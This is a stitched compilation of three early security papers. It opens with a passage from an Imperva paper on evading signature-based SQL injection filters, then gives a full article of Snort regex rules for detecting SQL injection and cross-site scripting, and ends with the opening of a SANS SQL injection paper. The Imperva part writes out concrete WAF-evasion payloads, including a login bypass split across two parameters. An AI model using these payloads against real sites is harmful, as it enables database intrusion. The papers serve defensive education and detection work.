variety of ways:

   •   Any free input field in any of the pages in the application (remember – the
       signature detection operates on all the pages in the site), including search
       fields, form submissions, etc.
   •   If no free input fields are presented, any of the parameters that are in string
       format can be examined to check if free string insertion is available.
   •   Alternatively, if no string fields exist at all in the system, a new parameter
       can be simply added to the request, and is likely to be ignored by the
       application itself. (Notice that some of the application security products would
       block such an attempt.) For example:

       …&id=43&testparam=ARBITRARY

   •   In other cases, where SQL Injection has already been detected, and assuming
       no signature exists for the SQL comment characters (-- or /* */), a working
       simple injection can be built and the suspicious pattern placed inside a
       comment. For example:

       …&dbid=originalid' -- ARBITRARY

   •   Another technique, assuming SQL Injection has already been detected, and
       no signature exists on the word AND, is to place the suspicious pattern inside
       a string literal:

       …&dbid=originalid' AND 'ARBITRARY'='ARBITRARY'
Eventually, in almost every application, a location can be found where an arbitrary
string can be inserted without causing any other error. Once it is located, the second
stage of the testing can take place.
In the second stage, Autolycus tries to verify whether indeed signature blocking
takes place. This is simply done by replacing the arbitrary string with a string that is
likely to trigger the signature mechanism, such as:

   •   UNION SELECT
   •   OR 1=1
   •   EXEC SP_ (or EXEC XP_)

Assuming the site is indeed protected, any, or at least most of these requests will
yield an error, generated by the signature mechanism. Autolycus now knows that
signature protection is in place, and can move to the final step, namely enumeration
(at least partial) of the signature list.
Sadly, this part is not very glamorous. It involves a tedious, methodical process, of
trial and error. Autolycus simply takes a list of the attacks he uses during the hack,
and tries them out one by one. Those that do not cause an error are listed as safe.
Those that are blocked by the server are broken down into components, until the
exact string or regular expression is identified. This may sound like a sisyphic
project, but it normally does not take too long to identify those signatures that
actually disturb the attack.

Common Evasion Techniques
After recognizing his archenemy Signaturious, Autolycus sits on the ground, next to
the fortress, and plans his next move. He now knows which of his actions are
monitored by Signatorious, yet this just builds up frustration. All of his normal moves
are detected by this new guard. He goes back home, and digs up from his library a
book titled 'The Oldest Tricks in the World'. "I was able to fool Signatorious in the old
times", he thinks to himself, "Maybe there are some old tricks he still hasn't
learned…"


Surprisingly enough, many of the new generation products fail where older
generation products also failed in the past. It is therefore likely that the first move of
Autolycus would be to try some of these old tricks, before proceeding to the
advanced techniques. Some such common old tricks are presented below.

Different Encodings
Various encoding tricks have proved themselves useful throughout the history of
computer attacks. The reasons for this are many. Some products simply fail to do
the right implementation or sufficiently understand the application level protocol.
Others are aware of the problem, yet the performance requirements limit what they
can do in real time. One way or another, using a variety of encoding techniques,
such as URL Encoding, UTF-8, etc. may prove useful.

White Spaces Diversity
Many of the signatures that are used to prevent SQL Injection attacks are a
sequence of two or more expressions, separated by a white space. The reason for
this is simple, a single word, such as SELECT, may generate a lot of false positives.
The expression UNION SELECT, however, is quite unique to the SQL world, making it
a good signature. This, however, carries the potential for the white spaces problem.
If the signature is not accurately built, all Autolycus needs to do is replace a single
space with two spaces, or a space with a tab, rendering the signature useless, and
allowing the attack to take place.

IP Fragmentation and TCP Segmentation
Although less likely, some of the signature detection mechanisms, (usually those
that focus on the network rather than those that actually parse the application
protocol), may still be vulnerable to fragmentation of lower level network protocols.
Advanced Evasion Techniques

Autolycus is now tired. He tried every trick in his book, yet was thrown out of the
fortress over and over again. A little voice in his head whispers "Let it go, there are
so many other fortresses around". Autolycus gives in to the voice, and returns home.
At night, however, he is restless. It can't be that he will give up on this. Signatorious
is not that smart. He only knows what he was shown. "There must be a way to fool
this guard" he thinks as he falls asleep.

In the morning, after dreams of the treasures found inside the fortress, he decides to
try another move. He realizes that using old books from his library is not the
solution, and he decides to sit down, and think of creative ideas of his own, and then
to try again. "If I will come up with a good idea of my own, the guard will never
catch me", he thinks to himself, and rightfully so.


We assume now that Autolycus has reached the point where common evasion
techniques were not successful, and he moves on to the next step. We review here
several techniques researched in Imperva's Application Defense Center that have
proven successful in avoiding many common signature based protection
mechanisms.

The 'OR 1=1' Signature
One of the common signatures used by such mechanisms is some sort of variant on
the famous OR 1=1 attack. Signatures are usually built as a regular expression,
aimed at catching as many possible variations of the attack. Sadly (or luckily, for
Autolycus), many of them can be tricked by using sophisticated matches. For
example, an unusual string can be used, such as:
OR 'Unusual' = 'Unusual'
Yet, with some better systems, this might not be enough. Autolycus therefore must
find a way to make the two expressions look different, yet still be the same. A very
simple trick is to add the character N prior to the second string, like this:
OR 'Simple' = N'Simple'
This character tells the SQL Server that the string should be treated as nvarchar.
This doesn't change anything in the comparison for the SQL itself, but definitely
makes it different for any signature driven mechanism.
An even better technique would be to break one of the strings into two,
concatenating it on the SQL level. This will render useless any mechanism which
compares the strings on both sides of the = sign (the example is in MS SQL Server
syntax, but can be done in a similar manner in any other database).
OR 'Simple' = 'Sim'+'ple'
One of the above mentioned techniques is likely to evade most of the signature
based mechanisms. Yet, some vendors might choose a much wider regular
expression to cope with this attack. Something along the lines of the word OR
followed by an equal sign (=) anywhere in the string.
This, however, can also be easily avoided by simply finding an expression which
evaluates as true, without having the equal sign in it. For instance, replacing the
equal sign with the SQL word LIKE (which performs a partial compare):
OR 'Simple' LIKE 'Sim%'
Or to use one of the < or > operators, like one of these examples:
OR 'Simple' > 'S'
OR 'Simple' < 'X'
OR 2 > 1
Or to use the IN or BETWEEN statements:
OR 'Simple' IN ('Simple')
OR 'Simple' BETWEEN 'R' AND 'T'
(The latter is valid in MS SQL Server only, but can be easily modified to work on any
database.)
And this can go on forever. SQL is a very rich language, and for every signature
invented, a new evasion technique can be developed. Trying to add signatures to
cover all of the above presented techniques is bound to fail, and will most likely
badly damage the performance. Another possibility is, of course, to define signatures
that are very general, such as an 'OR' followed, anywhere in the string, by an SQL
keyword or Meta character. This, however, is likely to result with many false
positives. Think of the following URL:
http://site/order.asp?ProdID=5&Quantity=4
Although far from being an invalid URL, it will trigger such a signature:
http://site/order.asp?ProdID=5&Quantity=4
Clearly, this is not the solution.

Evading Signatures with White Spaces
As already mentioned before, common signatures nowadays include white spaces
within them. Patterns like 'UNION SELECT' or 'EXEC SP_' (under MSSQL Server),
provide relatively high accuracy for signatures. Other signatures, aimed at
neutralizing the above described false positives may include signatures such as 'OR '
(an OR followed by a white space) or similar signatures.
In a previous section, a simple, common technique of replacing the number or type
of white spaces was discussed. Many of the modern protection mechanisms,
however, evolved past this stage, and can properly handle any combination of white
spaces. As a result, a better technique is developed so that Autolycus can penetrate
the site.
The technique takes advantage of vendor specific SQL parsing decisions, and creates
a valid SQL statement without using spaces or by inserting arbitrary characters
between them. The techniques here differ from one database to another, yet share
the same principles.
The basic technique, which operates on databases that perform a rather loose (and
more user-friendly) parsing of the SQL syntax, is to simply drop the spaces. With
Microsoft SQL Server, for instance, spaces between SQL keywords and number or
string literals can be completely omitted, allowing an easy evasion of signatures such
as 'OR '. Instead of typing:
…OrigText' OR 'Simple' = 'Simple'
(which is the basic attack), Autolycus can simply type:
…OrigText'OR'Simple'='Simple'
This works exactly the same way, but has no spaces in it whatsoever, completely
evading any spaces based signature.
This, however, will not work for injections such as 'UNION SELECT', since there must
be a separation between the two keywords. The solution is, therefore, to find a way
to separate them with something other than a white space. A good example of this
technique is presented by the C-like comment syntax available in most database
servers (this was tested on MS SQL, MySQL and Oracle).
Most readers are probably familiar with the double hyphen (--) comment syntax, that
comments out everything up to a new line. However, another syntax for comments is
supported by most database servers. This is the C-like syntax, using /* to start a
comment and */ to end it. This means that a valid SQL statement can look like this:
SELECT *
FROM tblProducts /* List of Prods */
WHERE ProdID = 5
Similarly, this can be taken into the injection code, generating an injection string as
follows:
…&ProdID=2 UNION /**/ SELECT name …
Any signature attempting to detect a UNION followed by any amount of white
spaces, followed by a SELECT, will fail to detect this signature. Moreover, in most
cases the /**/ can actually replace any of the spaces (in the above example it was in
addition of the spaces), allowing evasion of more sensitive signatures such as
'SELECT ' or 'INSERT ' (an SQL keyword followed by a single space), which have
been noted to be used by some SQL signature protection mechanisms. The previous
example then would appear like this:
…&ProdID=2/**/UNION/**/SELECT/**/name …
(The above example works in MS SQL and in Oracle, but not in MySQL. In MySQL, at
least one space has to be present. It can be present, however, after the comment,
which still allows evading the signature that holds the space right after the keyword).
This technique can also be used in SQL Injections to Oracle, to replace the OR 1=1
example showed above for MS SQL. Although Oracle will not allow omitting the white
spaces, it does allow replacing them with a comment, which can lead to the following
exploit:
…OrigText'/**/OR/**/'Simple'='Simple'
This technique can be even further exploited, providing even better evasion
(especially in the cases of advanced application firewalls that check the signatures on
the parameter value only) in cases where two separate parameters are inserted into
the SQL statement. Imagine a login page, where the following requests:
http://site/login.asp?User=X&Pass=Y
Generates the following query:
SELECT * FROM Users
WHERE User='X' AND Pass='Y'
In this case, the beginning of the comment can be injected into one parameter,
whereas the termination of the comment can be injected into the other.
…login.asp?User=X'OR'1'/*&Pass=Y*/='1
Resulting in the following query, which easily logs Autolycus in:
SELECT * FROM Users
WHERE User='X'OR'1'/* AND Pass='*/='1'
As with the techniques described for the 'OR 1=1' signature evasion, there is no real
solution here. It is of course possible to add /* and */ to the signature list. However,
a new trick is likely to be devised shortly after. Alternatively, the actual keywords,
such as SELECT and INSERT can be placed as a signature, but as with the OR
keyword, this will result in many false positives in real world applications, providing
no real solution. (Imagine a 'Contact Us' form in an ecommerce site, where the
customer has typed '…I have selected the product, but then had a problem…'. This
would trigger a signature on the word SELECT, without any attack taking place.)

Evading Any String Pattern
Despite the example showing why standalone keywords are likely to generate false
positives, some stricter sites may choose to apply such signatures, while limiting the
functionality so that no free text will be entered by the users (for instance, the main
portion of a banking application does not have to allow free texts from the user). In
this case, Autolycus will need other techniques, which allow breaking strings in the
middle.
Luckily, Autolycus still does not need to do a lot of research, as the previously
mentioned techniques can, with some modification, be used for the purpose of this
as well. The first technique goes back to the C-like comments. With MySQL, the C-
like comments would not work as a replacement for a space. However, what was
disturbing back there is now an advantage. The same comments can be used in
MySQL to break words in the middle, for instance:
…UN/**/ION/**/ SE/**/LECT/**/ …
Another very promising prospect lies back in the string concatenation demonstrated
earlier. Most databases allow the user to execute an SQL query through one or more
statements (built in operations, stored procedures, etc.), that receive the SQL query
as a string.
All Autolycus therefore needs to do, is find a way to build an exploit to the SQL
Injection that will allow the execution of such a string. Once this exploit was created
(either with no evasion techniques at all, because no one thought of this attack, or
using previously mentioned techniques), all the other patterns can be evaded simply
by using string concatenation in the middle of the suspicious string.
A simple example is demonstrated with MS SQL's built in EXEC command. This
command can also be used as a function, receiving any SQL statement as a string,
which can be naturally concatenated:
…; EXEC('INS'+'ERT INTO…')
Since the word INSERT was split into two parts, no signature mechanism is able to
detect it. The SQL, however, rebuilds the string, allowing it to execute as planned.
As with our other examples, this is not a singular example. A similar attack, on MS
SQL can be done with a stored procedure named SP_EXECUTESQL. This is a new
version of the outdated (yet still functioning) SP_SQLEXEC procedure. Both of them
will receive a string containing an SQL query and will execute it. Naturally, this
problem is not limited to MS SQL. Other databases suffer from the same problem.
With Oracle, the syntax 'EXECUTE IMMEDIATE' can be used to execute a string which
can, of course, be concatenated.
Another interesting twist on this attack, in MS SQL, can be based on a hexadecimal
encoding of the string to be executed. This way, the string 'SELECT' can be
represented by the hexadecimal number 0x73656c656374, which will not be
detected by any signature protection mechanism. This, combined with the loose-
syntax nature of SQL, allows executing many signature defined statements.
Another good example, in MS SQL relates to the OPENROWSET statement. This
technique was published in a white paper over a year and a half ago, yet despite it
being an old, known technique, most signature based products fail to look for it (for
instance, the recently published article in SecurityFocus™, mentioned before,
completely ignores this keyword). Again, since OPENROWSET receives a string
parameter, it is possible to concatenate into it the required query without it being
detected by the signature mechanism.
One may argue that the number of statements that can be used for such a technique
is limited within each Database. Yet although this might be true to some extent, it is
likely that while building signatures some of them will be forgotten.
An excellent example for that is provided by MS SQL, which contains unlisted stored
procedures that can be used for execution of SQL queries. Microsoft's
implementation of prepared statements in MS SQL Server is actually done using
several internal, unlisted, stored procedures. When running a prepared statement, a
stored procedure named sp_prepare runs first, preparing the statement, and then a
stored procedure named sp_execute is run in order to execute the query. With these
procedures not appearing in any listing of SQL Server, they are obviously likely to be
missing from any SQL Injection signature database.
Obviously, similar undocumented procedures and functions may exist in other
databases, exposing them to future attacks evading existing signatures.

Conclusion
The next morning, Autolycus is home again. Next to him, lies the stolen treasure. "I
did it again," he thinks to himself, as the sunlight reflects off the gold bars. With a
satisfied smile he sits down to write his new book 'New Guards – New Tricks'. Sadly,
he will choose to distribute that book only to his friends inside the thieves' guild,
preventing the guards of the other fortresses to learn anything new from it.

Three days later, an angry man approaches the gates of the fortress. He claims he
saw his mother's necklace, stored for safekeeping in the fortress treasury, on sale in
the market. All the fortress' guards run down to the treasury, and find that indeed it
was plundered. Signatorious then understands that he was outsmarted by Autolycus.
Frustrated by his defeat, and in a desperate attempt to prove his worth, he starts to
frantically stop anyone he imagines as suspicious, throwing out many innocent
passersby out of the fortress. The chief of guards then understands that Signatorious
is simply unable to fulfill his task, and relieves him from duty.


At this point, we believe the conclusion of this paper is clear to the reader. Signature
protection against SQL Injection is simply not enough. Although this paper
demonstrates only some of the variety of evasion techniques for avoiding SQL
Injection signatures, some or even all of these techniques are likely to operate on
most of today's signature protection mechanisms.
Sadly, the trivial solution of adding a few more signatures to your protection
mechanism is not a real solution. It can help thwart some of the technique shown
here, but other techniques can be developed. This is due to the richness of the SQL
language implemented by many database vendors. The richness of the language
means that many different statements can be sent to the server, all resulting in one
specific operation.
Trying to provide full security for such a rich language must take one of two
approaches. The first approach is an attempt to perform an accurate detection of all
possible dangerous SQL statements. For a single Database type, this should include
all sufficiently accurate combinations of SQL keywords (such as INSERT… INTO,
UNION SELECT), all stored procedures and functions (these usually have distinctive
names, allowing them to appear as they are in a signature), and any other relevant
SQL related syntax.
That approach, however, has many disadvantages. Even if theoretically, covering all
possible attacks and evasion techniques was possible, this would require building
hundreds of signatures, many of them fairly complex, regular expression based.
Although providing reasonable good accuracy, this is simply not practical,
performance wise.
Having several hundreds of signatures for every database type easily rises to over a
thousand signatures in a diverse organization holding several different database
types. These are on top of the already existing signatures for other attacks. The
performance price (throughput and latency) is simply unacceptable for such a large
number of signatures.
The second approach is to generate very few, very generic signatures. With MSSQL
Server such a policy can include the following keywords (with their matching
different encodings of course):
SELECT, INSERT, CREATE, DELETE, FROM, WHERE, OR, AND, LIKE, EXEC, SP_, XP_,
SQL, ROWSET, OPEN, BEGIN, END, DECLARE
And also some Meta Characters (and their encodings), such as:
; -- + ' ( ) = > < @
This, however, can only work on a specifically built application running in a lab. In
the real world, this minimized set of signatures is bound to block more users than
hackers.
A fine example of this is provided by the previously mentioned 'Detection of SQL
Injection and Cross-site Scripting Attacks' article. This article tried a reduced set of
the second approach, using regular expressions seeking specific Meta characters, as
well as regular expressions that allow the detection of specific key words, such as
OR. Sadly, this is bound to result with many false positives. This amount of false
positives may be acceptable in some IDS systems, but is definitely not acceptable in
an IPS or a Web Application Firewall, which blocks any such request. Not many
organizations will agree to block any user who studies in St. John's University, and
wishes to fill in his personal details.
We are now at the point where the original claim has been proven. Using SQL
Injection signatures is simply not a good enough mechanism to protect against SQL
Injection attacks. Any attempt to create a signature base good enough to prevent all
SQL Injection attacks is bound to fail for one of two reasons – too many false
positives, or too many signatures, more than the mechanism can handle.
Although using SQL Injection signatures does, of course, provide a certain level of
security (which pushes off many less capable hackers) it provides a false sense of
security, as the more capable hacker would be able to penetrate through it.
        Detection of SQL Injection and Cross-site Scripting Attacks

1. Introduction
In the last couple of years, attacks against the Web application layer have required increased
attention from security professionals. This is because no matter how strong your firewall rulesets are
or how diligent your patching mechanism may be, if your Web application developers haven't followed
secure coding practices, attackers will walk right into your systems through port 80. The two main
attack techniques that have been used widely are SQL Injection [ref 1] and Cross Site Scripting [ref 2]
attacks. SQL Injection refers to the technique of inserting SQL meta-characters and commands into
Web-based input fields in order to manipulate the execution of the back-end SQL queries. These are
attacks directed primarily against another organization's Web server. Cross Site Scripting attacks work
by embedding script tags in URLs and enticing unsuspecting users to click on them, ensuring that the
malicious Javascript gets executed on the victim's machine. These attacks leverage the trust between
the user and the server and the fact that there is no input/output validation on the server to reject
Javascript characters.


This article discusses techniques to detect SQL Injection and Cross Site Scripting (CSS) attacks
against your networks. There has been a lot of discussion on these two categories of Web-based
attacks about how to carry them out, their impact, and how to prevent these attacks using better
coding and design practices. However, there is not enough discussion on how these attacks can be
detected. We take the popular open-source IDS Snort [ref 3], and compose regular-expression based
rules for detecting these attacks. Incidentally, the default ruleset in Snort does contain signatures for
detecting cross-site scripting, but these can be evaded easily. Most of them can be evaded by using
the hex-encoded values of strings such as %3C%73%63%72%69%70%74%3E instead of
<script>.


We have written multiple rules for detecting the same attack depending upon the organization's level
of paranoia. If you wish to detect each and every possible SQL Injection attack, then you simply need
to watch out for any occurrence of SQL meta-characters such as the single-quote, semi-colon or
double-dash. Similarly, a paranoid way of checking for CSS attacks would be to simply watch out for
the angled brackets that signify an HTML tag. But these signatures may result in a high number of
false positives. To avoid this, the signatures can be modified to be made accurate, yet still not yield
too many false positives.


Each of these signatures can be used with or without other verbs in a Snort signature using the pcre
[ref 4] keyword. These signatures can also be used with a utility like grep to go through the Web-
server's logs. But the caveat is that the user input is available in the Web server's logs only if the
application uses GET requests. Data about POST requests is not available in the Web server's logs.

2. Regular Expressions for SQL Injection
An important point to keep in mind while choosing your regular expression(s) for detecting SQL
Injection attacks is that an attacker can inject SQL into input taken from a form, as well as through
the fields of a cookie. Your input validation logic should consider each and every type of input that
originates from the user -- be it form fields or cookie information -- as suspect. Also if you discover
too many alerts coming in from a signature that looks out for a single-quote or a semi-colon, it just
might be that one or more of these characters are valid inputs in cookies created by your Web
application. Therefore, you will need to evaluate each of these signatures for your particular Web
application.


As mentioned earlier, a trivial regular expression to detect SQL injection attacks is to watch out for
SQL specific meta-characters such as the single-quote (') or the double-dash (--). In order to detect
these characters and their hex equivalents, the following regular expression may be used:


2.1 Regex for detection of SQL meta-characters
/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix </TD< tr>


Explanation:
We first detect either the hex equivalent of the single-quote, the single-quote itself or the presence of
the double-dash. These are SQL characters for MS SQL Server and Oracle, which denote the beginning
of a comment, and everything that follows is ignored. Additionally, if you're using MySQL, you need to
check for presence of the '#' or its hex-equivalent. Note that we do not need to check for the hex-
equivalent of the double-dash, because it is not an HTML meta-character and will not be encoded by
the browser. Also, if an attacker tries to manually modify the double-dash to its hex value of %2D
(using a proxy like Achilles [ref 5]), the SQL Injection attack fails.


The above regular expression would be added into a new Snort rule as follows:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"SQL Injection - Paranoid";
flow:to_server,established;uricontent:".pl";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i";
classtype:Web-application-attack; sid:9099; rev:5;) </TD< tr>


In this case, the uricontent keyword has the value ".pl", because in our test environment, the CGI
scripts are written in Perl. Depending upon your particular application, this value may be either ".php",
or ".asp", or ".jsp", etc. From this point onwards, we do not show the corresponding Snort rule, but
instead only the regular expressions that are to be used for creating these rules. From the regular
expressions you can easily create more Snort rules.


In the previous regular expression, we detect the double-dash because there may be situations where
SQL injection is possible even without the single-quote [ref 6]. Take, for instance, an SQL query which
has the where clause containing only numeric values. Something like:


select value1, value2, num_value3 from database
where num_value3=some_user_supplied_number


In this case, the attacker may execute an additional SQL query, by supplying an input like:


3; insert values into some_other_table


Finally, pcre modifiers 'i' and 'x' are used in order to match without case sensitivity and to ignore
whitespaces, respectively.


The above signature could be additionally expanded to detect the occurrence of the semi-colon as
well. However, the semi-colon has a tendency to occur as part of normal HTTP traffic. In order to
reduce the false positives from this, and also from any normal occurrence of the single-quote and
double-dash, the above signature could be modified to first detect the occurrence of the = sign. User
input will usually occur as a GET or a POST request, where the input fields will be reflected as:


username=some_user_supplied_value&password=some_user_supplied_value


Therefore, the SQL injection attempt would result in user input being preceded by a = sign or its hex
equivalent.


2.2 Modified regex for detection of SQL meta-characters
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\-\-)|(\%3B)|(;))/i </TD< tr>


Explanation:
This signature first looks out for the = sign or its hex equivalent (%3D). It then allows for zero or
more non-newline characters, and then it checks for the single-quote, the double-dash or the semi-
colon.


A typical SQL injection attempt of course revolves around the use of the single quote to manipulate
the original query so that it always results in a true value. Most of the examples that discuss this
attack use the string 1'or'1'='1. However, detection of this string can be easily evaded by supplying
a value such as 1'or2>1--. Thus the only part that is constant in this is the initial alphanumeric value,
followed by a single-quote, and then followed by the word 'or'. The Boolean logic that comes after this
may be varied to an extent where a generic pattern is either very complex or does not cover all the
variants. Thus these attacks can be detected to a fair degree of accuracy by using the next regular
expression, in section 2.3 below.


2.3 Regex for typical SQL Injection attack
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix </TD< tr>


Explanation:
\w* - zero or more alphanumeric or underscore characters
(\%27)|\' - the ubiquitous single-quote or its hex equivalent
(\%6F)|o|(\%4F))((\%72)|r|(\%52) - the word 'or' with various combinations of its upper and
lower case hex equivalents.


The use of the 'union' SQL query is also common in SQL Injection attacks against a variety of
databases. If the earlier regular expression that just detects the single-quote or other SQL meta
characters results in too many false positives, you could further modify the query to specifically check
for the single-quote and the keyword 'union'. This can also be further extended to other SQL keywords
such as 'select', 'insert', 'update', 'delete', etc.


2.4 Regex for detecting SQL Injection with the UNION keyword
/((\%27)|(\'))union/ix
(\%27)|(\') - the single-quote and its hex equivalent
union - the keyword union
Similar expressions can be written for other SQL queries such as >select, insert, update, delete,
drop, and so on.


If, by this stage, the attacker has discovered that the Web application is vulnerable to SQL injection,
he will try to exploit it. If he realizes that the back-end database is on an MS SQL server, he will
typically try to execute one of the many dangerous stored and extended stored procedures. These
procedures start with the letters 'sp' or 'xp' respectively. Typically, he would try to execute the
'xp_cmdshell' extended procedure, which allows the execution of Windows shell commands through
the SQL Server. The access rights with which these commands will be executed are those of the
account with which SQL Server is running -- usually Local System. Alternatively, he may also try and
modify the registry using procedures such as xp_regread, xp_regwrite, etc.


2.5 Regex for detecting SQL Injection attacks on a MS SQL Server
/exec(\s|\+)+(s|x)p\w+/ix </TD< tr>


Explanation:
exec - the keyword required to run the stored or extended procedure
(\s|\+)+ - one or more whitespaces or their HTTP encoded equivalents
(s|x)p - the letters 'sp' or 'xp' to identify stored or extended procedures respectively
\w+ - one or more alphanumeric or underscore characters to complete the name of the procedure

3. Regular Expressions for Cross Site Scripting (CSS)
When launching a cross-site scripting attack, or testing a Website's vulnerability to it, the attacker
may first issue a simple HTML formatting tag such as <b> for bold, <i> for italic or <u> for underline.
Alternatively, he may try a trivial script tag such as <script>alert("OK")</script>. This is likely
because most of the printed and online literature on CSS use this script as an example for determining
if a site is vulnerable to CSS. These attempts can be trivially detected. However, the advanced
attacker may attempt to camouflage the entire string by entering its Hex equivalents. So the <script>
tag would appear as %3C%73%63%72%69%70%74%3E. On the other hand, the attacker may
actually use a Web Application Proxy like Achilles and reverse the browser's automatic conversion of
special characters such as < to %3C and > to %3E. So the attack URL will contain the angled brackets
instead of their hex equivalents as would otherwise normally occur.


The following regular expression checks for attacks that may contain HTML opening tags and closing
tags <> with any text inside. It will catch attempts to use <b> or <u> or <script>. The regex is case-
insensitive. We also need to check for the presence of angled brackets, as well as their hex
equivalents, or (%3C|<). To detect the hex conversion of the entire string, we must check for the
presence of numbers as well as the % sign in the user input, in other words, the use of [a-z0-9%].
This may sometimes result in false-positives, but most of the time will detect the actual attack.


3.1 Regex for simple CSS attack
/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/ix </TD< tr>
((\%3C)|<) - check for opening angle bracket or hex equivalent
((\%2F)|\/)* - the forward slash for a closing tag or its hex equivalent
[a-z0-9\%]+ - check for alphanumeric string inside the tag, or hex representation of these
((\%3E)|>) - check for closing angle bracket or hex equivalent


Snort signature:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"NII Cross-site scripting
attempt"; flow:to_server,established; pcre:"/((\%3C)|<)((\%2F)|\/)*[a-z0-
9\%]+((\%3E)|>)/i"; classtype:Web-application-attack; sid:9000; rev:5;) </TD< tr>


Cross-site scripting can also be accomplished by using the <img src=> technique. The existing
default snort signature can be easily evaded. The one supplied in section 3.2 will be much tougher to
evade.


3.2 Regex for "<img src" CSS attack
/((\%3C)|<)((\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47))[^\n]+((\%3E)|>)/I </TD< tr>


Explanation:
(\%3C)|<) opening angled bracket or hex equivalent
(\%69)|i|(\%49))((\%6D)|m|(\%4D))((\%67)|g|(\%47) the letters 'img' in varying
combinations of ASCII, or upper or lower case hex equivalents
[^\n]+ any character other than a new line following the <img
(\%3E)|>) closing angled bracket or hex equivalent


3.3 Paranoid regex for CSS attacks
/((\%3C)|<)[^\n]+((\%3E)|>)/I </TD< tr>


Explanation:
This signature simply looks for the opening HTML tag, and its hex equivalent, followed by one or more
characters other than the newline, and then followed by the closing tag or its hex equivalent. This
may end up giving a few false positives depending upon how your Web application and Web server are
structured, but it is guaranteed to catch anything that even remotely resembles a cross-site scripting
attack.


For an excellent reference on types of cross-site scripting attacks that will evade filters, see the
Bugtraq posting http://www.securityfocus.com/archive/1/272037. However, note that the last of the
cross-site scripting signatures, which is the paranoid signature, will detect all these attacks.


4. Conclusion
In this article, we've presented different types of regular expression signatures that can be used to
detect SQL Injection and Cross Site Scripting attacks. Some of the signatures are simple yet paranoid,
in that they will raise an alert even if there is a hint of an attack. But there is also the possibility that
these paranoid signatures may result in false positives. To take care of this, we've then modified the
simple signatures with additional pattern checks so that they are more accurate. We recommend that
these signatures be taken as a starting point for tuning your IDS or log analysis methods, in the
detection of these Web application layer attacks. After a few modifications, and after taking into
account the non-malicious traffic that occurs as part of your normal Web transactions, you should be
able to accurately detect these attacks.


References
1. SQL Injection http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
2. Cross Site Scripting FAQ http://www.cgisecurity.com/articles/xss-faq.shtml
3. The Snort IDS http://www.snort.org
4. Perl-compatible regular expressions (pcre) http://www.pcre.org
5. Web application proxy, Achilles http://achilles.mavensecurity.com
3. Advanced SQL Injection http://www.nextgenss.com/papers/advanced_sql_injection.pdf
7. Secure Programming HOWTO, David Wheeler www.dwheeler.com
8. Threats and Countermeasures, MSDN, Microsoft http://msdn.microsoft.com


About the authors
K. K. Mookhey is Founder & CTO of Network Intelligence India Pvt. Ltd. (www.nii.co.in), which
provides information security consulting services including security audits, penetration testing,
security design, application audits, and security training. He has written a number of articles and
whitepapers on information security, and is also responsible for NII's research initiatives.


Nilesh Burghate is an Information Assurance Consultant with NII, and his interests include penetration
testing, IDS signature writing, intrusion analysis and detection and forensics. The results from his
team's research efforts provide direct input to NII's Security Alerting service.
           SQL Injection: Modes of attack, defence, and why it
                                matters
Abstract
SQL injection attacks represent a serious threat to any database-driven site.
The methods behind an attack are easy to learn and the damage caused can
range from considerable to complete system compromise. Despite these risks
an incredible number of systems on the internet are susceptible to this form of
attack.
Not only is it a threat easily instigated, it is also a threat that, with a little
common-sense and forethought, can be almost totally prevented. This paper
will look at a selection of the methods available to a SQL injection attacker
and how they are best defended against.
Introduction
It’s drilled into a programmer from “Programming 101”: The importance of
input validation and ensuring that the data a user sends you is the data you
want, not some poisoned lump of characters that's going to break your site
and/or lose you your job.
As valuable as it may be to ensure your users are crossing their t’s and
dotting their i’s, there's a more important reason for this validation and that
centres around the principle of SQL injection.
When I first stumbled across an SQL injection paper, I gave it a cursory read
and then tried a couple of the attacks against a test backend version of a site I
was then looking after. Within six hours I had almost totally destroyed the site
– and that was without using the more advanced tools available.
SQL injection is not a “dark art”, nor is it new. Numerous white papers and
other references are available on the internet (see references), some of which
are over a year old. Yet many sites play the roles of the lowest apples in the
tree by being completely vulnerable to this form of attack.
As SQL injection how-tos, attacker awareness and now even automated tools
such as wpoison that check for SQL injection vulnerabilities become more
prevalent, these 'low apples' will be harvested at increasing rates.

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
2
Summary
This paper consists of five sections.
Part One – Injection principles: Yes, it really is this easy
Contains a detailed look at the basics of SQL injection. This will walk you
through the anatomy of an attack. It is only by knowing exactly how an
attacker will use SQL injection that you will be in a better position to protect
your site.
Part Two – Advanced injection: Sprocs and the leverage of your position
Looks at some of the more advanced methods of SQL injection which can
result in system compromise. This describes the use of stored procedures
and extended stored procedures that come pre-installed on a MS-SQL 2000
set-up. It is Microsoft specific.
Part Three – Protection: How many walls to build around your site
Describes methods for the developer to protect their site and system from
these kind of attacks.
Part Four – Conclusion: See, it does matter
Summarises why the threat of SQL injection is so serious.
Part Five – References: The information is out there
Contains a detailed listing of references and additional reading.
Conventions
In order to reduce the number of screen shots required in this paper, much of
the screen output is colour-coded and is one point smaller instead.
All URL’s are blue.
All code snippets are red.
All error messages are green.
Although the examples used are specific to MS-SQL 2000 it should be noted
that SQL injection is not an issue isolated to MS-SQL 2000 alone.
In part one a cut down version of a poetry site is for illustrative purposes. The
poetry snippets have been altered where needed and are used with
permission.

© SANS Institute 2002, Author retains
full rights.
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46
© SANS Institute 2002, As part of the Information Security Reading Room. Author retains full
rights.
GIAC Security Essentia ls Certification (GSEC)
Practical Assignment - Version 1.4 (amended April 8, 2002) - Option One - Stuart McDonald
3
Part One – Injection principles: Yes, it really is this easy
”SQL injection is one type of web hacking that requires nothing but port 80
